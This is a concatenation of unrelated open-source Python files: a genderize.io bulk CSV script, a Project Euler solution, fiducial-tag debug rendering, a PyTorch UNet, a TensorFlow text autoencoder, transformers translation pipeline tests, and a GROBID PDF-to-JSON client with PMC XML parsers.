list(jpyh.splitlist(uniq_first_name, 10)); print("--- Read CSV with " + str(len(first_name)) + " first_name. " + str(len(uniq_first_name)) + " unique.") else: # splitting the name list into chunks of 10 due to api restrictions chunks = list(jpyh.splitlist(first_name, 10)); print("--- Read CSV with " + str(len(first_name)) + " first_name") print("--- Processed into " + str(len(chunks)) + " chunks") if jpyh.query_yes_no("\n---! Ready to send to Genderdize. Proceed?") == False: print("Exiting...\n") sys.exit() if os.path.isfile(ofile): if jpyh.query_yes_no("---! Output file exists, overwrite?") == False: print("Exiting...\n") sys.exit() print("\n") if args.auto == True: ofile = ofile + ".tmp" response_time = []; gender_responses = list() with open(ofile, 'w', newline='', encoding="utf8") as f: writer = csv.writer(f) ## TODO Add new system to write all rows of the original file. Done # If we are overriding, we need to write different headers into the output csv file. We call the write_headers function to keep the code clean if is_override: write_headers(writer, original_headers) # else, continue as expected else: writer.writerow(list(["first_name","gender", "probability", "count"])) chunks_len = len(chunks) stopped = False for index, chunk in enumerate(chunks): if stopped: break success = False while not success: try: start = time.time() if key_present: dataset = genderize.get(chunk) else: dataset = Genderize().get(chunk) gender_responses.append(dataset) success = True except GenderizeException as e: #print("\n" + str(e)) logger.error(e) #Error handling if "response not in JSON format" in str(e) and args.catch == True: if jpyh.query_yes_no("\n---!! 502 detected, try again?") == True: success = False continue elif "Invalid API key" in str(e) and args.catch == True: print("\n---!! Error, invalid API key! Check log file for details.\n") else: print("\n---!! GenderizeException - You probably exceeded the request limit, please add or purchase a API key. Check log file for details.\n") stopped = True break response_time.append(time.time() - start) print("Processed chunk " + str(index + 1) + " of " + str(chunks_len) + " -- Time remaining (est.): " + \ str( round( (sum(response_time) / len(response_time) * (chunks_len - index - 1)), 3)) + "s") gender_dict = dict() # Moved this function out of the autocomplete function to allow us to use it for the non-autocomplete writing as well for response in gender_responses: for d in response: gender_dict[d.get("name")] = [d.get("gender"), d.get("probability"), d.get("count")] # we need to iterate over all of our "cleaned" first names for index, name in enumerate(o_first_name): data = gender_dict.get(name) # If we are overriding, we need to print our raw data plus our genderize information. if is_override: data_list = [data[0], data[1], data[2]] writer.writerow(raw[index] + data_list) # If we are not overriding, we print the standard information else: writer.writerow([name, data[0], data[1], data[2]]) # if we have the autocomplete enabled, we need to allow overriding in this mode as well. if args.auto == True: print("\nCompleting identical first_name...\n") filename, file_extension = os.path.splitext(ofile) with open(filename, 'w', newline='', encoding="utf8") as f: writer = csv.writer(f) # Before we enter the for loop, we need to print the correct headers into the output csv file. # If we are overriding, we need to print out saved original headers as well as the new headers. We call our write_headers function to keep the code clean if is_override: write_headers(writer, original_headers) # we need to remove duplicate items in our raw file for proper file writing. raw_cleaned = remove_dupes(raw, column_number) # If we are not overriding, we can print the standard headers. else: writer.writerow(list(["first_name","gender", "probability", "count"])) # We need to iterate over our uniq_first_name list inorder to write the correct names for index, name in enumerate(uniq_first_name): # If we are overriding, we need to combine the data recieved from the genderize api and combine it with our clean raw list inorder to write the correct information if is_override: data = gender_dict.get(name) data_list = [data[0], data[1], data[2]] writer.writerow(raw_cleaned[index] + data_list) # If we are not overriding, we can perform everything as expected. else: data = gender_dict.get(name) writer.writerow([name, data[0], data[1], data[2]]) print("Done!\n") if __name__ == "__main__": parser = argparse.ArgumentParser(description='Bulk genderize.io script') required = parser.add_argument_group('required arguments') required.add_argument('-i','--input', help='Input file name', required=True) required.add_argument('-o','--output', help='Output file name', required=True) parser.add_argument('-k','--key', help='API key', required=False, default="NO_API") parser.add_argument('-c','--catch', help='Try to handle errors gracefully', required=False, action='store_true', default=True) parser.add_argument('-a','--auto', help='Automatically complete gender for identical first_name', required=False, action='store_true', default=False) parser.add_argument('-nh','--noheader', help='Input has no header row', required=False, action='store_true', default=False) parser.add_argument('-ovr','--override',help='override the default search column', required=False, default='NO_OVERRIDE') genderize(parser.parse_args()) ```
{ "source": "josephcarmack/projectEuler", "score": 3 }
#### File: josephcarmack/projectEuler/problem1.py ```python def problem1(number2go2): s=0.0 for i in range(number2go2): if(i%3==0 or i%5==0): s += i return s print(problem1(1000)) ```
{ "source": "JosephCatrambone/BlenderTopoTag", "score": 3 }
#### File: JosephCatrambone/BlenderTopoTag/debug.py ```python import numpy from fiducial import TopoTag def save_plain_ppm(img, filename: str): """Save a matrix (floats) as a PPM image.""" with open(filename, 'wt') as fout: fout.write("P3\n") fout.write(f"{img.shape[1]} {img.shape[0]}\n") fout.write("255\n") idx = 0 for y in range(img.shape[0]): for x in range(img.shape[1]): if len(img.shape) == 2: fout.write(str(int(255 * img[y, x]))) fout.write(" ") fout.write(str(int(255 * img[y, x]))) fout.write(" ") fout.write(str(int(255 * img[y, x]))) elif len(img.shape) == 3: fout.write(str(int(255 * img[y, x, 0]))) fout.write(" ") fout.write(str(int(255 * img[y, x, 1]))) fout.write(" ") fout.write(str(int(255 * img[y, x, 2]))) if idx >= 5: # Max line length is 70. 3 digits + space * 3 channels -> 12. 70/12 ~> 5. fout.write("\n") idx = 0 else: fout.write(" ") idx += 1 fout.flush() def debug_render_cube(tag: TopoTag, canvas): """Render a cube from the perspective of the camera.""" points_3d = numpy.asarray([ [0, 0, 0, 1], [1, 0, 0, 1], [1, 1, 0, 1], [0, 1, 0, 1], [0, 0, 1, 1], [1, 0, 1, 1], [1, 1, 1, 1], [0, 1, 1, 1], ]) projection_matrix = tag.pose_raw # tag.extrinsics.to_matrix() projection = (projection_matrix @ points_3d.T).T projection[:, 0] /= projection[:, 2] projection[:, 1] /= projection[:, 2] #projection[:, 2] /= projection[:, 2] # Draw faces... for i in range(0, 4): canvas.line((projection[i, 0], projection[i, 1], projection[(i+1)%4, 0], projection[(i+1)%4, 1]), fill=(255, 255, 255)) canvas.line((projection[(i+4), 0], projection[(i+4), 1], projection[(i+5)%8, 0], projection[(i+5)%8, 1]), fill=(255, 255, 255)) # Draw edges between faces (for the other faces) print(projection) def debug_show_tags(tags, island_data, island_matrix, show=True): from PIL import ImageDraw # Render a color image for the island_matrix. img = debug_show_islands(island_matrix, show=False) canvas = ImageDraw.Draw(img) # Draw some red borders for candidate islands. #for island in island_data[2:]: # canvas.rectangle((island.x_min, island.y_min, island.x_max, island.y_max), outline=(255, 0, 0)) # Draw a pink border for each tag. for tag in tags: island_id = tag.island_id for vertex in tag.vertex_positions: canvas.rectangle((vertex[0]-1, vertex[1]-1, vertex[0]+1, vertex[1]+1), outline=(200, 200, 200)) canvas.text((island_data[island_id].x_min, island_data[island_id].y_min), f"I{island_id} - Code{tag.tag_id}", fill=(255, 255, 255)) canvas.rectangle((island_data[island_id].x_min, island_data[island_id].y_min, island_data[island_id].x_max, island_data[island_id].y_max), outline=(255, 0, 255)) canvas.line((tag.top_left[0], tag.top_left[1], tag.top_right[0], tag.top_right[1]), fill=(0, 255, 255)) canvas.line((tag.top_left[0], tag.top_left[1], tag.bottom_left[0], tag.bottom_left[1]), fill=(0, 255, 255)) #debug_render_cube(tag, canvas) print(f"Tag origin: {tag.extrinsics.x_translation}, {tag.extrinsics.y_translation}, {tag.extrinsics.z_translation}") if show: img.show() return img def debug_show_islands(classes, show=True): from PIL import Image import itertools num_classes = classes.max() class_colors = list(itertools.islice(itertools.product(list(range(64, 255, 1)), repeat=3), num_classes+1)) colored_image = Image.new('RGB', (classes.shape[1], classes.shape[0])) # This is the wrong way to do it. Should just cast + index. for y in range(classes.shape[0]): for x in range(classes.shape[1]): colored_image.putpixel((x,y), class_colors[classes[y,x]]) if show: colored_image.show() return colored_image def debug_show(mat): from PIL import Image img = Image.fromarray(mat*255.0) img.show() ```
{ "source": "JosephCatrambone/greppic", "score": 2 }
#### File: greppic/training/model.py ```python import math import torch import torch.nn as nn def assert_power_of_two(n: int): assert 2**int(math.log(n)/math.log(2)) == n class Reshape(nn.Module): # Resize to the target shape, auto-inferring the -1 dimension from the rest. def __init__(self, *shape): super(Reshape, self).__init__() self.shape = shape def forward(self, x): return x.view(*self.shape) class DoubleConv(nn.Module): def __init__(self, in_channels: int, out_channels: int): super(DoubleConv, self).__init__() self.op = nn.Sequential( # No bias 'cause we're using BatchNorm. It will get cancelled out. nn.Conv2d(in_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False), nn.BatchNorm2d(out_channels), nn.SiLU(inplace=True), nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False), nn.BatchNorm2d(out_channels), nn.SiLU(inplace=True), ) def forward(self, x): return self.op(x) class UNet(nn.Module): def __init__(self, in_channels:int = 3, out_channels: int = 3, feature_counts=None): super(UNet, self).__init__() # Prevent modification of mutable default. if feature_counts is None: feature_counts = [64, 128, 256, 512] # Need nn.ModuleList instead of List for batch evals. self.downsamples = nn.ModuleList() self.bottleneck = DoubleConv(feature_counts[-1], feature_counts[-1]*2) self.upsamples = nn.ModuleList() self.finalconv = nn.Conv2d(feature_counts[0], out_channels, kernel_size=1) # 1x1 conv -> Change # feats. # Downsample-Reduction step. num_channels = in_channels for f_count in feature_counts: self.downsamples.append(DoubleConv(in_channels=num_channels, out_channels=f_count)) num_channels = f_count # Up-steps. for f_count in reversed(feature_counts): # For theses one needs to step by 3 in the upsample step: # Use 2x Upscale / Depth-convolve as an operation. #self.upsamples.append(nn.UpsamplingBilinear2d(scale_factor=2)) #self.upsamples.append(nn.Conv2d(f_count*2, f_count, kernel_size=1)) # Use 4x Upscale / Double-convolve as an operation. #self.upsamples.append(nn.UpsamplingNearest2d(scale_factor=4)) #self.upsamples.append(DoubleConv(f_count*2, f_count)) # For this one needs to step by two in the upsample step. (See upsample_step_size) # Use ConvTranspose as an operation: self.upsamples.append(nn.ConvTranspose2d(f_count*2, f_count, kernel_size=2, stride=2)) # Upscale 2x. # Final concatenated convolution: self.upsamples.append(DoubleConv(f_count*2, f_count)) def forward(self, x): skip_connections = list() # Don't need ModuleList because this is not retained. for dwn in self.downsamples: x = dwn(x) skip_connections.append(x) x = torch.max_pool2d(x, kernel_size=2, stride=2) x = self.bottleneck(x) skip_connections.reverse() upsample_step_size = 2 for idx in range(0, len(self.upsamples), upsample_step_size): x = self.upsamples[idx+0](x) #x = self.upsamples[idx+1](x) skip_x = skip_connections[idx//upsample_step_size] # It's possible that due to integer division the sizes slightly mismatch. #if x.shape[2] != skip_x.shape[2] or x.shape[3] != skip_x.shape[3]: # This causes issues withunpacking non-iterables: #_, _, h, w = sk.shape #x = torchvision.transforms.CenterCrop((h, w))(x) # This causes issues with PIL/Tensor mismatch. #x = VF.resize(x, size=sk.shape[2:]) #x = torchvision.transforms.functional.resize(x, size=sk.shape[2:]) # This seems to work: #x = torch.nn.functional.interpolate(x, size=skip_x.shape[2:]) assert len(skip_x.shape) == 4 # So we don't accidentally unpinch another dimension. concat_skip = torch.cat((skip_x, x), dim=1) # Dim 1 is channel-dimension. [b, c, h, w] x = self.upsamples[idx+1](concat_skip) return torch.sigmoid(self.finalconv(x)) ```
{ "source": "JosephCatrambone/NLP_TensorFlow", "score": 3 }
#### File: JosephCatrambone/NLP_TensorFlow/bitreader.py ```python from random import random import numpy TERMINATOR = "\0" CHARSET = " abcdefghijklmnopqrstuvwxyz.:;'\"" + TERMINATOR CHARACTER_SET = set(CHARSET) # Some naming ambiguity. Forgive me. INDEX_CHARACTER_MAP = {k:v for k,v in enumerate(CHARSET)} # index -> letter CHARACTER_INDEX_MAP = {v:k for k,v in enumerate(CHARSET)} # letter -> index def get_sentence_vector_length(character_limit): return character_limit*len(CHARSET) def string_to_vector(sentence, flatten=True): vector = list() for character in sentence.lower(): subvector = numpy.zeros(len(CHARSET)) if character in CHARACTER_SET: subvector[CHARACTER_INDEX_MAP[character]] = 1.0 vector.append(subvector) result = numpy.asarray(vector) if flatten: result = result.reshape(1,-1)[0] return result def vector_to_string(vector): # Flatten if in square setup. if vector.ndim == 2: vector = vector.reshape(1,-1)[0] s = "" # Step through vector in CHARSET increments. block_length = len(CHARSET) for index in range(0, len(vector), block_length): block = vector[index:index+block_length] block_energy = block.sum() energy = random()*block_energy # This block defines a probability distribution. if block_energy == 0: continue # No prediction? # TODO: Add an invalid char. for subindex in range(block_length): # Did we randomly select this character? if energy < block[subindex]: # Yes. # Also, is this the end of-line character? char = INDEX_CHARACTER_MAP[subindex] if char == TERMINATOR: return s else: s += char break; else: energy -= block[subindex] return s ``` #### File: JosephCatrambone/NLP_TensorFlow/nlp_tensorflow.py ```python import sys, os import csv import gzip import numpy import tensorflow as tf import bitreader # We have some big fields. csv.field_size_limit(sys.maxsize) # Globals INPUT_FILENAME = sys.argv[1] DATA_COLUMN = int(sys.argv[2]) LEARNING_RATE = 0.01 TRAINING_ITERATIONS = 20000000 BATCH_SIZE = 5 SENTENCE_LIMIT = 140 # Empty pad after this. N_INPUTS = bitreader.get_sentence_vector_length(SENTENCE_LIMIT) WORD_CHUNK_SIZE = 4 DROPOUT = 0.8 DISPLAY_INCREMENT = 1 # Create model x = tf.placeholder(tf.types.float32, [None, 1, N_INPUTS, 1]) keep_prob = tf.placeholder(tf.types.float32) #dropout def build_model(name, inputs, dropout_toggle, char_sample_size=WORD_CHUNK_SIZE): #x = tf.reshape(inputs, shape=[-1, 1, N_INPUTS, 1]) filter_bank_0 = 16 filter_bank_1 = 8 filter_bank_3 = 64 # conv2d input is [b, h, w, d] # filter is [h, w, ...] # multiplied by filter [di, dj, :, :] sample_vec_len = bitreader.get_sentence_vector_length(char_sample_size) wc1 = tf.Variable(tf.random_normal([1, sample_vec_len, 1, filter_bank_0])) bc1 = tf.Variable(tf.random_normal([filter_bank_0,])) conv1 = tf.nn.conv2d(inputs, wc1, strides=[1, 1, 1, 1], padding='SAME') + bc1 act1 = tf.nn.relu(conv1) # TensorShape([Dimension(None), Dimension(1), Dimension(4620), Dimension(64)]) wc2 = tf.Variable(tf.random_normal([1, char_sample_size, filter_bank_0, filter_bank_1])) bc2 = tf.Variable(tf.random_normal([filter_bank_1,])) conv2 = tf.nn.conv2d(act1, wc2, strides=[1, 1, 1, 1], padding='SAME') + bc2 act2 = tf.nn.relu(conv2) norm2 = tf.nn.lrn(act2, bitreader.get_sentence_vector_length(1), bias=1.0, alpha=0.001, beta=0.75) # TensorShape([Dimension(None), Dimension(1), Dimension(4620), Dimension(32)]) # Conv -> FC # Record encoder shapes for later use. act2_shape = act2.get_shape().as_list() act1_shape = act1.get_shape().as_list() input_shape = inputs.get_shape().as_list() # Resize c_fc = tf.reshape(act2, [-1, act2_shape[1]*act2_shape[2]*act2_shape[3]]) # FC segments wf1 = tf.Variable(tf.random_normal([act2_shape[1]*act2_shape[2]*act2_shape[3], filter_bank_3])) bf1 = tf.Variable(tf.random_normal([filter_bank_3,])) full1 = tf.matmul(c_fc, wf1) + bf1 act3 = tf.nn.relu(full1) # Our prized encoder. encoder = act3 # Invert steps and begin decoder. # Start with FC. wf2 = tf.Variable(tf.random_normal([filter_bank_3, act2_shape[1]*act2_shape[2]*act2_shape[3]])) bf2 = tf.Variable(tf.random_normal([act2_shape[1]*act2_shape[2]*act2_shape[3],])) full2 = tf.matmul(act3, wf2) + bf2 act4 = tf.nn.relu(full2) # FC -> Conv fc_c = tf.reshape(act4, [-1, act2_shape[1], act2_shape[2], act2_shape[3]]) wc3 = tf.Variable(tf.random_normal([1, char_sample_size, filter_bank_0, filter_bank_1])) bc3 = tf.Variable(tf.random_normal([act1_shape[1], act1_shape[2], act1_shape[3]])) conv3 = tf.nn.deconv2d(fc_c, wc3, strides=[1, 1, 1, 1], padding='SAME', output_shape=[-1, act1_shape[1], act1_shape[2], act1_shape[3]]) + bc3 act5 = tf.nn.relu(conv3) # TensorShape([Dimension(None), Dimension(1), Dimension(4620), Dimension(64)]) wc4 = tf.Variable(tf.random_normal([1, sample_vec_len, 1, filter_bank_0])) bc4 = tf.Variable(tf.random_normal([input_shape[1], input_shape[2], input_shape[3]])) conv4 = tf.nn.deconv2d(act5, wc4, strides=[1, 1, 1, 1], padding='SAME', output_shape=[-1, input_shape[1], input_shape[2], input_shape[3]]) + bc4 act6 = tf.nn.relu(conv4) norm3 = tf.nn.lrn(act6, bitreader.get_sentence_vector_length(1), bias=1.0, alpha=0.001, beta=0.75) decoder = norm3 return encoder, decoder, [wc1, wc2, wf1, wf2, wc3, wc4], [bc1, bc2, bc3, bc4] #return tf.nn.max_pool(l_input, ksize=[1, 1, k, 1], strides=[1, 1, k, 1], padding='SAME', name=name) print("Building model.") encoder, decoder, weights, biases = build_model("ConvNLP", x, keep_prob) print("Defining loss functions and optimizer.") #l2_cost = tf.reduce_sum(tf.nn.l2_loss(reconstruction, x)) l1_cost = tf.reduce_sum(tf.abs(tf.sub(x, decoder))) cost = l1_cost optimizer = tf.train.AdamOptimizer(learning_rate=LEARNING_RATE).minimize(cost) # Define our data iterator def csv_iterator(filename=INPUT_FILENAME): if filename.endswith(".gz"): fin = gzip.open(filename, 'r') else: fin = open(filename, 'r') cin = csv.reader(fin) for line in cin: text = line[DATA_COLUMN] # 0 is entry name. # Iterate through N characters at a time. for index in range(0, len(text), SENTENCE_LIMIT): segment = text[index:index+SENTENCE_LIMIT] segment = segment + "\0"*(SENTENCE_LIMIT-len(segment)) # Zero-pad our sentence. yield bitreader.string_to_vector(segment) def batch_buffer(filename=INPUT_FILENAME, batch_size=BATCH_SIZE): iterator = csv_iterator(filename) while True: batch = numpy.zeros([batch_size, 1, bitreader.get_sentence_vector_length(SENTENCE_LIMIT), 1], dtype=numpy.float) for index, example in zip(range(batch_size), iterator): batch[index,0,:,0] = example[:] yield batch # Train print("Gathering variables.") init = tf.initialize_all_variables() saver = tf.train.Saver() print("Beginning training session.") with tf.Session() as sess: print("Initializing variables.") sess.run(init) step = 1 generator = batch_buffer() print("Session, variables, and generator initialized. Training.") for step, batch_xs in zip(range(TRAINING_ITERATIONS/BATCH_SIZE), generator): sess.run(optimizer, feed_dict={x: batch_xs, keep_prob: DROPOUT}) if step % DISPLAY_INCREMENT == 0: loss = sess.run(cost, feed_dict={x: batch_xs, keep_prob: 1.}) enc, rec = sess.run([encoder, decoder], feed_dict={x: batch_xs, keep_prob: 1.}) print("Iter " + str(step*BATCH_SIZE) + ", Loss= " + "{:.6f}".format(loss)) print("Mapping {} -> {}".format(enc.shape, rec.shape)) print("Example: {} -> {}".format(bitreader.vector_to_string(batch_xs[0,0,:,0]), bitreader.vector_to_string(rec[0,0,:,0]))) step += 1 print "Optimization Finished!" # sess.run(accuracy, feed_dict={x: asdf, keep_prob: 1.}) # Save results result = saver.save(sess, "result.ckpt") print("Saved model to {}".format(result)) ```
{ "source": "JosephCatrambone/transformers", "score": 2 }
#### File: transformers/tests/test_pipelines_translation.py ```python import unittest import pytest from transformers import pipeline from transformers.testing_utils import is_pipeline_test, is_torch_available, require_torch, slow from .test_pipelines_common import MonoInputPipelineCommonMixin if is_torch_available(): from transformers.models.mbart import MBart50TokenizerFast, MBartForConditionalGeneration class TranslationEnToDePipelineTests(MonoInputPipelineCommonMixin, unittest.TestCase): pipeline_task = "translation_en_to_de" small_models = ["patrickvonplaten/t5-tiny-random"] # Default model - Models tested without the @slow decorator large_models = [None] # Models tested with the @slow decorator invalid_inputs = [4, "<mask>"] mandatory_keys = ["translation_text"] class TranslationEnToRoPipelineTests(MonoInputPipelineCommonMixin, unittest.TestCase): pipeline_task = "translation_en_to_ro" small_models = ["patrickvonplaten/t5-tiny-random"] # Default model - Models tested without the @slow decorator large_models = [None] # Models tested with the @slow decorator invalid_inputs = [4, "<mask>"] mandatory_keys = ["translation_text"] @is_pipeline_test class TranslationNewFormatPipelineTests(unittest.TestCase): @require_torch @slow def test_default_translations(self): # We don't provide a default for this pair with self.assertRaises(ValueError): pipeline(task="translation_cn_to_ar") # but we do for this one translator = pipeline(task="translation_en_to_de") self.assertEquals(translator.src_lang, "en") self.assertEquals(translator.tgt_lang, "de") @require_torch @slow def test_multilingual_translation(self): model = MBartForConditionalGeneration.from_pretrained("facebook/mbart-large-50-many-to-many-mmt") tokenizer = MBart50TokenizerFast.from_pretrained("facebook/mbart-large-50-many-to-many-mmt") translator = pipeline(task="translation", model=model, tokenizer=tokenizer) # Missing src_lang, tgt_lang with self.assertRaises(ValueError): translator("This is a test") outputs = translator("This is a test", src_lang="en_XX", tgt_lang="ar_AR") self.assertEqual(outputs, [{"translation_text": "ู‡ุฐุง ุฅุฎุชุจุงุฑ"}]) outputs = translator("This is a test", src_lang="en_XX", tgt_lang="hi_IN") self.assertEqual(outputs, [{"translation_text": "เคฏเคน เคเค• เคชเคฐเฅ€เค•เฅเคทเคฃ เคนเฅˆ"}]) # src_lang, tgt_lang can be defined at pipeline call time translator = pipeline(task="translation", model=model, tokenizer=tokenizer, src_lang="en_XX", tgt_lang="ar_AR") outputs = translator("This is a test") self.assertEqual(outputs, [{"translation_text": "ู‡ุฐุง ุฅุฎุชุจุงุฑ"}]) @require_torch def test_translation_on_odd_language(self): model = "patrickvonplaten/t5-tiny-random" translator = pipeline(task="translation_cn_to_ar", model=model) self.assertEquals(translator.src_lang, "cn") self.assertEquals(translator.tgt_lang, "ar") @require_torch def test_translation_default_language_selection(self): model = "patrickvonplaten/t5-tiny-random" with pytest.warns(UserWarning, match=r".*translation_en_to_de.*"): nlp = pipeline(task="translation", model=model) self.assertEqual(nlp.task, "translation_en_to_de") self.assertEquals(nlp.src_lang, "en") self.assertEquals(nlp.tgt_lang, "de") @require_torch def test_translation_with_no_language_no_model_fails(self): with self.assertRaises(ValueError): pipeline(task="translation") ```
{ "source": "josephcc/s2orc-doc2json", "score": 3 }
#### File: grobid2json/grobid/grobid_client.py ```python import os import io import json import argparse import time import glob from doc2json.grobid2json.grobid.client import ApiClient import ntpath from typing import List ''' This version uses the standard ProcessPoolExecutor for parallelizing the concurrent calls to the GROBID services. Given the limits of ThreadPoolExecutor (input stored in memory, blocking Executor.map until the whole input is acquired), it works with batches of PDF of a size indicated in the config.json file (default is 1000 entries). We are moving from first batch to the second one only when the first is entirely processed - which means it is slightly sub-optimal, but should scale better. However acquiring a list of million of files in directories would require something scalable too, which is not implemented for the moment. ''' SERVER = 'localhost' if 'GROBID_URL' in os.environ: SERVER = os.environ['GROBID_URL'] DEFAULT_GROBID_CONFIG = { "grobid_server": SERVER, "grobid_port": "8070", "batch_size": 1000, "sleep_time": 5, "generateIDs": False, "consolidate_header": False, "consolidate_citations": False, "include_raw_citations": True, "segment_sentences": True, "include_coordinates": ['s', 'bib', 'biblStruct', 'ref'], "include_raw_affiliations": False, "max_workers": 2, } class GrobidClient(ApiClient): def __init__(self, config=None): self.config = config or DEFAULT_GROBID_CONFIG self.generate_ids = self.config["generateIDs"] self.consolidate_header = self.config["consolidate_header"] self.consolidate_citations = self.config["consolidate_citations"] self.include_raw_citations = self.config["include_raw_citations"] self.include_raw_affiliations = self.config["include_raw_affiliations"] self.include_coordinates = self.config["include_coordinates"] self.segment_sentences = self.config["segment_sentences"] self.max_workers = self.config["max_workers"] self.grobid_server = self.config["grobid_server"] self.grobid_port = self.config["grobid_port"] self.sleep_time = self.config["sleep_time"] def process(self, input: str, output: str, service: str): batch_size_pdf = self.config['batch_size'] pdf_files = [] for pdf_file in glob.glob(input + "/*.pdf"): pdf_files.append(pdf_file) if len(pdf_files) == batch_size_pdf: self.process_batch(pdf_files, output, service) pdf_files = [] # last batch if len(pdf_files) > 0: self.process_batch(pdf_files, output, service) def process_batch(self, pdf_files: List[str], output: str, service: str) -> None: print(len(pdf_files), "PDF files to process") for pdf_file in pdf_files: self.process_pdf(pdf_file, output, service) def process_pdf_stream(self, pdf_file: str, pdf_strm: bytes, output: str, service: str) -> str: # process the stream files = { 'input': ( pdf_file, pdf_strm, 'application/pdf', {'Expires': '0'} ) } the_url = 'http://' + self.grobid_server the_url += ":" + self.grobid_port the_url += "/api/" + service # set the GROBID parameters the_data = {} if self.generate_ids: the_data['generateIDs'] = '1' else: the_data['generateIDs'] = '0' if self.consolidate_header: the_data['consolidateHeader'] = '1' else: the_data['consolidateHeader'] = '0' if self.consolidate_citations: the_data['consolidateCitations'] = '1' else: the_data['consolidateCitations'] = '0' if self.include_raw_affiliations: the_data['includeRawAffiliations'] = '1' else: the_data['includeRawAffiliations'] = '0' if self.include_raw_citations: the_data['includeRawCitations'] = '1' else: the_data['includeRawCitations'] = '0' if self.segment_sentences: the_data['segmentSentences'] = '1' else: the_data['segmentSentences'] = '0' if self.segment_sentences: the_data['segmentSentences'] = '1' else: the_data['segmentSentences'] = '0' if self.include_coordinates: the_data['teiCoordinates'] = self.include_coordinates res, status = self.post( url=the_url, files=files, data=the_data, headers={'Accept': 'text/plain'} ) if status == 503: time.sleep(self.sleep_time) return self.process_pdf_stream(pdf_file, pdf_strm, service) elif status != 200: with open(os.path.join(output, "failed.log"), "a+") as failed: failed.write(pdf_file.strip(".pdf") + "\n") print('Processing failed with error ' + str(status)) return "" else: return res.text def process_pdf(self, pdf_file: str, output: str, service: str) -> None: # check if TEI file is already produced # we use ntpath here to be sure it will work on Windows too pdf_file_name = ntpath.basename(pdf_file) filename = os.path.join(output, os.path.splitext(pdf_file_name)[0] + '.tei.xml') if os.path.isfile(filename): return print(pdf_file) pdf_strm = open(pdf_file, 'rb').read() tei_text = self.process_pdf_stream(pdf_file, pdf_strm, output, service) # writing TEI file if tei_text: with io.open(filename, 'w+', encoding='utf8') as tei_file: tei_file.write(tei_text) def process_citation(self, bib_string: str, log_file: str) -> str: # process citation raw string and return corresponding dict the_data = { 'citations': bib_string, 'consolidateCitations': '0' } the_url = 'http://' + self.grobid_server the_url += ":" + self.grobid_port the_url += "/api/processCitation" for _ in range(5): try: res, status = self.post( url=the_url, data=the_data, headers={'Accept': 'text/plain'} ) if status == 503: time.sleep(self.sleep_time) continue elif status != 200: with open(log_file, "a+") as failed: failed.write("-- BIBSTR --\n") failed.write(bib_string + "\n\n") break else: return res.text except Exception: continue def process_header_names(self, header_string: str, log_file: str) -> str: # process author names from header string the_data = { 'names': header_string } the_url = 'http://' + self.grobid_server the_url += ":" + self.grobid_port the_url += "/api/processHeaderNames" res, status = self.post( url=the_url, data=the_data, headers={'Accept': 'text/plain'} ) if status == 503: time.sleep(self.sleep_time) return self.process_header_names(header_string, log_file) elif status != 200: with open(log_file, "a+") as failed: failed.write("-- AUTHOR --\n") failed.write(header_string + "\n\n") else: return res.text def process_affiliations(self, aff_string: str, log_file: str) -> str: # process affiliation from input string the_data = { 'affiliations': aff_string } the_url = 'http://' + self.grobid_server the_url += ":" + self.grobid_port the_url += "/api/processAffiliations" res, status = self.post( url=the_url, data=the_data, headers={'Accept': 'text/plain'} ) if status == 503: time.sleep(self.sleep_time) return self.process_affiliations(aff_string, log_file) elif status != 200: with open(log_file, "a+") as failed: failed.write("-- AFFILIATION --\n") failed.write(aff_string + "\n\n") else: return res.text if __name__ == "__main__": parser = argparse.ArgumentParser(description="Client for GROBID services") parser.add_argument("service", help="one of [processFulltextDocument, processHeaderDocument, processReferences]") parser.add_argument("--input", default=None, help="path to the directory containing PDF to process") parser.add_argument("--output", default=None, help="path to the directory where to put the results") parser.add_argument("--config", default=None, help="path to the config file, default is ./config.json") args = parser.parse_args() input_path = args.input config = json.load(open(args.config)) if args.config else DEFAULT_GROBID_CONFIG output_path = args.output service = args.service client = GrobidClient(config=config) start_time = time.time() client.process(input_path, output_path, service) runtime = round(time.time() - start_time, 3) print("runtime: %s seconds " % (runtime)) ``` #### File: jats2json/pmc_utils/back_tag_utils.py ```python from typing import Dict, List def _wrap_text(tag): return tag.text if tag else '' def parse_authors(authors_tag) -> List: """The PMC XML has a slightly different format than authors listed in front tag.""" if not authors_tag: return [] authors = [] for name_tag in authors_tag.find_all('name', recursive=False): surname = name_tag.find('surname') given_names = name_tag.find('given-names') given_names = given_names.text.split(' ') if given_names else None suffix = name_tag.find('suffix') authors.append({ 'first': given_names[0] if given_names else '', 'middle': given_names[1:] if given_names else [], 'last': surname.text if surname else '', 'suffix': suffix.text if suffix else '' }) return authors def parse_bib_entries(back_tag) -> Dict: bib_entries = {} # TODO: PMC2778891 does not have 'ref-list' in its back_tag. do we even need this, or can directly .find_all('ref')? ref_list_tag = back_tag.find('ref-list') if ref_list_tag: for ref_tag in ref_list_tag.find_all('ref'): # The ref ID and label are semantically swapped between CORD-19 and PMC, lol ref_label = ref_tag['id'] ref_id = ref_tag.find('label') authors_tag = ref_tag.find('person-group', {'person-group-type': 'author'}) year = ref_tag.find('year') fpage = ref_tag.find('fpage') lpage = ref_tag.find('lpage') pages = f'{fpage.text}-{lpage.text}' if fpage and lpage else None dois = [tag.text for tag in ref_tag.find_all('pub-id', {'pub-id-type': 'doi'})] bib_entries[ref_label] = { 'ref_id': _wrap_text(ref_id), 'title': _wrap_text(ref_tag.find('article-title')), 'authors': parse_authors(authors_tag), 'year': int(year.text) if year and year.text.isdigit() else None, 'venue': _wrap_text(ref_tag.find('source')), 'volume': _wrap_text(ref_tag.find('volume')), 'issn': _wrap_text(ref_tag.find('issue')), 'pages': pages, 'other_ids': { 'DOI': dois, } } return bib_entries ``` #### File: jats2json/pmc_utils/front_tag_utils.py ```python from typing import Dict, List, Optional from collections import Counter import re from doc2json.jats2json.pmc_utils.all_tag_utils import recurse_parse_section, parse_all_paragraphs_in_section, \ replace_sup_sub_tags_with_string_placeholders, replace_xref_with_string_placeholders class NoAuthorNamesError(Exception): """Known papers that trigger: - PMC3462967 """ pass def parse_journal_id_tag(front_tag) -> str: """ front_tag.find_all('journal-id') returns: [ <journal-id journal-id-type="nlm-ta">Neurosci J</journal-id>, <journal-id journal-id-type="iso-abbrev">Neurosci J</journal-id>, <journal-id journal-id-type="publisher-id">NEUROSCIENCE</journal-id> ] [ <journal-id journal-id-type="nlm-ta">BMC Biochem</journal-id> <journal-id journal-id-type="iso-abbrev">BMC Biochem</journal-id> ] """ c = Counter() for tag in 